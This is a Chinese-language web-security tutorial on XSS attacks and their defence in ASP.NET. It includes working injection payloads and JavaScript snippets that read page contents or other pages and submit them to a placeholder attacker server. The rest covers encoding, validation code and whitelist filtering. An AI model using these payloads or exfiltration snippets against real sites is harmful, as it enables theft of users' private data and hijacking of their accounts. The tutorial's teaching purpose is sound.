关于Web安全的那些事(XSS攻击)
概述
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
攻击的条件
实施XSS攻击需要具备两个条件:
一、需要向web页面注入恶意代码;
二、这些恶意代码能够被浏览器成功的执行。
看一下下面这个例子:
1
2
3
4
5
6
7
8
9
|
< div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')" code="var a = document.createElement('a'); a.innerHTML= '执行了恶意代码';document.body.appendChild(a); //这这里执行代码 "></ div > |
这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)
再来看一下面这段代码:
1
2
3
4
5
|
< div > < img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" /> </ div > |
相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:
http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="
最终反射出来的HTML代码:
<div>
<img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" /> </div>
也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:
http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="
根据XSS攻击的效果可以分为几种类型
第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。
XSS攻击能做些什么
1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:
1
2
3
|
var i=document.createElement( "img" ); document.body.appendChild(i); |
2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码:
<!--读取当前页面的内容提交到黑客服务器上进行分析-->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>" var e = document.createElement( "div" ); document.documentElement.appendChild(e); e.style.display = "none" ; e.innerHTML = h; var frm = document.forms[ "f" ]; frm.data.value = document.documentElement.innerHTML; frm.submit(); |
<!--读取当前页面的内容提交到黑客服务器上进行分析-->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
var xhr = new XMLHttpRequest(); xhr.open( "POST or GET" , "/目标网站其他页面的URL(如获取邮箱列表的地址)" ); xhr.onreadystatechange = function (e) { if (xhr.readyState == 4) { var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>" var e = document.createElement( "div" ); document.documentElement.appendChild(e); e.style.display = "none" ; e.innerHTML = h; var frm = document.forms[ "f" ]; frm.data.value = xhr.responseText; frm.submit(); } } xhr.send( null ); |
3.前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播,如下面代码:
1
2
3
4
5
|
var xhr = new XMLHttpRequest(); xhr.open( "POST" , "目标网站的执行页面" ); xhr.send(param); |
当然XSS攻击方法远不止这些,黑客有很多天马行空的方法,只要是读和写的操作,那么我们有什么防御的方法呢?
XSS攻击防御
一、输出检查
根据XSS攻击的条件,我们可以对用户输出进行检查,使用系统的安全函数进行转义将数据和代码分开,asp.net的安全函数可以参考http://msdn.microsoft.com/en-us/library/system.web.httputility.aspx,根据不同的场景使用正确的安全函数,否则效果适得其反,如果下面例子:
<a href="#" onclick="javascript:var name='<%= HttpUtility.HtmlAttributeEncode(Request.QueryString["n"]) %>';alert(name);">hahaha...</a>
这个例子在HTML标签的属性内输出使用HttpUtility.HtmlAttributeEncode函数进行转义看似合情合理,但这个是特殊的属性,它被解析为元素的事件,这类型的属性在某特定条件下触发事件并执行里面的代码,如本例当用户点击这个链接是会执行里面的代码。
比如输入:http://www.a.com/text.aspx?n=';alert(/xss/);//
经过HttpUtility.HtmlAttributeEncode函数转义后,输出:
<a href="#" onclick="javascript:var name='';alert(/xss/);//';alert(name);">hahaha...</a>
点击标签将会弹出“/xss/” 而不是“';alert(/xss/);//” 注意:“'”被转义为“'”即是HTML的一个实体,最终还是被解析为"'"字符,所以脚步被成功注入。
正确的做法应该是使用JavaScriptStringEncode函数或者 JavaScriptStringEncode和HtmlAttributeEncode函数:
<a href="#" onclick="javascript:var name='<%= HttpUtility.HtmlAttributeEncode(HttpUtility.JavaScriptStringEncode(Request.QueryString["n"])) %>';alert(name);">hahaha...</a>
二、输入检查
通常用于检测用户输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等;输入检查必须在服务端进行;当然为了提高用户体验和减轻服务端的资源客户端也要进行一次检查,但服务端检查始终是必须的,有个别程序员却调过来了认为客户端检查是必须的,服务端检查是可选的,其实这是错误的逻辑,因为客户端很容易被黑客绕过。
1.使用ASP.NET Mvc的属性特性进行验证:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web;
namespace MvcApplication1.Models
{
public class Item
{
[Key]
[Display(Name="项目ID")]
public int ID { get; set; }
[EmailAddress(ErrorMessage="电子邮箱错误")]
[Required]
[DisplayName("电子邮箱")]
public string Email { get; set; }
}
}
2.当然也可以自己实现自定义验证的特性,如下面代码:
[Serializable]
[AttributeUsage(AttributeTargets.Property, Inherited = true, AllowMultiple = false)]
public class FormValidationAttribute : Attribute, IProperty
{
/////// <summary>
/////// 错误信息
/////// </summary>
////public string ErrorMessage { get; set; }
/// <summary>
/// 必需的
/// </summary>
public bool Required { get; set; }
/// <summary>
/// 电子邮件格式
/// </summary>
public bool IsEmailFormat { get; set; }
/// <summary>
/// 电话号码
/// </summary>
public bool IsTelephoneNumber { get; set; }
/// <summary>
/// 是中文名或者英文名称,中文少于2个字符,英文不少于3个字符
/// </summary>
public bool IsChineseNameOrEnglishName { get; set; }
/// <summary>
/// 正则表达式
/// </summary>
public string RegularExpression { get; set; }
public RegexOptions RegexOptions { get; set; }
/// <summary>
/// 最大的长度
/// </summary>
public int MaxLength { get; set; }
public PropertyInfo Property
{get;set;}
}
应用到属性上
public class Item
{
[FormValidation(MaxLength=200)]
public string Name{ get; set; }
[FormValidation(IsTelephoneNumber = true)]
public string Mobile{ get; set; }
[FormValidation(IsEmailFormat= true,Required=true)]
public string Email { get; set; }
}
写个扩展方法通过反射类型进行验证对象的属性是否有效:
public class FormValidationException : Exception {
public FormValidationException(PropertyInfo field)
: this(field, null)
{
}
public FormValidationException(PropertyInfo field, string message)
: base(message)
{
Property = field;
Field = field.Name;
}
public string Field { get; private set; }
public PropertyInfo Property { get; private set; }
public override string Message
{
get
{
string msg = base.Message;
if (!string.IsNullOrWhiteSpace(Field))
{
if (string.IsNullOrWhiteSpace(msg)) { msg = Field; }
else { msg = string.Format("{0}({1})", msg, Field); }
}
return msg;
}
}
}
/// <summary>
/// 不是必需的
/// </summary>
public class NotRequiredException : FormValidationException
{
public NotRequiredException(PropertyInfo field)
: base(field)
{}
public NotRequiredException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary>
/// 无效的电子邮件格式
/// </summary>
public class InvalidEmailFormatException : FormValidationException
{
public InvalidEmailFormatException(PropertyInfo field)
: base(field)
{}
public InvalidEmailFormatException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary>
/// 无效的电话号码
/// </summary>
public class InvalidTelephoneNumberFormatException : FormValidationException
{
public InvalidTelephoneNumberFormatException(PropertyInfo field)
: base(field)
{}
public InvalidTelephoneNumberFormatException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary>
/// 不是中文名或者英文名
/// </summary>
public class NotChineseNameOrEnglishNameException : FormValidationException
{
public NotChineseNameOrEnglishNameException(PropertyInfo field)
: base(field)
{}
public NotChineseNameOrEnglishNameException(PropertyInfo field, string message)
: base(field, message)
{}
}
/// <summary>
/// 不符合正则表达式
/// </summary>
public class InconformityRegularExpressionException : FormValidationException
{
public InconformityRegularExpressionException(PropertyInfo field)
: base(field)
{}
public InconformityRegularExpressionException(PropertyInfo field, string message)
: base(field, message)
{}
}
public class ValueLengthIsLengthyException : FormValidationException
{
public ValueLengthIsLengthyException(PropertyInfo field)
: base(field)
{ }
public ValueLengthIsLengthyException(PropertyInfo field, string message)
: base(field, message)
{ }
}
public static class FormValidationExtendMethods
{
static void Validation(PropertyInfo p, string value)
{
var fv = p.GetAttribute<FormValidationAttribute>();
#region 验证
if (fv != null)
{
if (fv.Required && string.IsNullOrWhiteSpace(value))
{ throw new NotRequiredException(p); }
if (!string.IsNullOrWhiteSpace(value))
{
if (!string.IsNullOrWhiteSpace(fv.RegularExpression)
&& !Regex.IsMatch(value, fv.RegularExpression, fv.RegexOptions))
{
throw new InconformityRegularExpressionException(p);
}
if (fv.IsEmailFormat && !value.IsValidEmail())
{
throw new InvalidEmailFormatException(p);
}
if (fv.IsTelephoneNumber && !value.IsTelephoneNumber())
{ throw new InvalidTelephoneNumberFormatException(p); }
if (fv.IsChineseNameOrEnglishName && !value.IsChineseNameOrEnglishName())
{
throw new NotChineseNameOrEnglishNameException(p);
}
if (fv.MaxLength > 0 && value.Length > fv.MaxLength)
{
throw new ValueLengthIsLengthyException(p);
}
}
}
#endregion
}
public static bool Validation(this object o,bool isThrow=true) {
bool err=false;
Type t = o.GetType();
var ps = t.GetProperties();
try
{
foreach (var p in ps)
{
object v = null;
try
{
v = p.GetValue(o, null);
}
catch { }
Validation(p, v != null ? v.ToString() : string.Empty);
}
}
catch
{
if (isThrow) throw;
err = true;
}
return !err;
}
public static T GetInstance<T>(this NameValueCollection collection, bool verify = true) where T : class,new()
{
return collection.GetInstance<T>(new T(), verify);
}
public static T GetInstance<T>(this NameValueCollection collection, T instance, bool verify=true) where T : class
{
var ps = instance.GetType().GetProperties();
var keys = collection.AllKeys;
foreach (var p in ps)
{
bool has = false;
string k = p.Name;
foreach (var o in keys)
{
if (string.Equals(o, k, StringComparison.InvariantCultureIgnoreCase))
{ k = o; has = true; break; }
}
var value = has ? (collection[k] ?? "").Trim() : string.Empty;
if (verify)
{
Validation(p, value);
}
///如果没有指定值,就保持默认值。
if (!has) continue;
#region 赋值
try
{
if (p.PropertyType.IsEnum)
{
p.SetValue(instance, Enum.Parse(p.PropertyType, value), null);
}
else
{
p.SetValue(instance, p.PropertyType.Equals(typeof(string)) ? value : Convert.ChangeType(value, p.PropertyType), null);
}
}
catch { }
#endregion
}
return instance;
}
public static T GetInstance<T>(this HttpRequest request, bool verify = true) where T : class,new()
{
return request.GetInstance<T>(new T(), verify);
}
public static T GetInstance<T>(this HttpRequest request, T instance, bool verify = true) where T : class
{
return request.Form.GetInstance<T>(instance,verify);
}
}
最后使用起来就很方便了,如下面代码:
try { Item data = Request.GetInstance<Item>(); }
catch (FormValidationException exp) {
//验证失败 通过FormValidationException 异常获取哪个子段没有合法。
}
三、转换为安全的类型
类型检查或者类型转换到安全的类型,比如:int,float,枚举类型等等,如在前面一个例子中将id转换为int类型即可:
<div>
<img src="/images/handler.ashx?id=<%= int.Parse(Request.QueryString["id"]) %>" />
</div>
四、智能过滤恶意代码
通过正确的输出检查我们能够将数据安全的输出到浏览器中,但有些时候会带来不好的用户体验,当用户通过html编辑器提交的数据:my name is <b>Jackson</b>
如果用前面的方法进行转义: <%= HttpUtility.HtmlEncode("my name is <b>Jackson</b>") %>
那么输出结果:my name is <b>Jackson</b>
被浏览器解析后:my name is <b>Jackson</b> 显然这个肯定不是用户想要的展示结果,所以我们要对这种富文本进行过滤,把恶意代码摘除;如一些敏感关键字:javascript、vbscript,<script>等等,那么是不是把这些关键词摘除掉就高枕无忧了呢?答案是否定的,来看一下下面的代码:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
火狐浏览器解析后弹出:/xss/
<a href=javascript:alert('XSS')>
haha...
</a>
用户点击标签后弹出:/xss/ 说明恶意代码成功注入
那么我们应该如何过滤富文本呢?在标签、属性,以及CSS等代码中,应该启用白名单策略,避免使用黑名单策略,上面的做法就是黑名单策略,白名单策略告诉系统那些是标签、属性,或者CSS是安全的,如标签:<a>、<b>、<div>、<img>;属性:id、class、alt;CSS:color:red,width:22px等等。
最后给大家推荐两个较好的XSS Filter:
Anti-Samy是OWASP上的一个开源项目,最早基于Java,现在已经扩展到.NET 2.0,3.0,3.5,目前还没有4.0以上的版本。
下载地址:https://files.cnblogs.com/Jackson-Bruce/antisamy-project-1.5.3.zip
官方下载地址:http://owaspantisamy.googlecode.com/archive/d4575adf19850f01ac6882823662d29795de532f.zip
XSSAttacksFilters是我将Anti-Samy项目重构的一个项目,仅仅保留其白名单安全策略配置文档,不过也做了细微的调整,这个项目暂时还没有支持ASP.NET4.0以下的版本。
下载地址: https://files.cnblogs.com/Jackson-Bruce/XSSAttachs.zip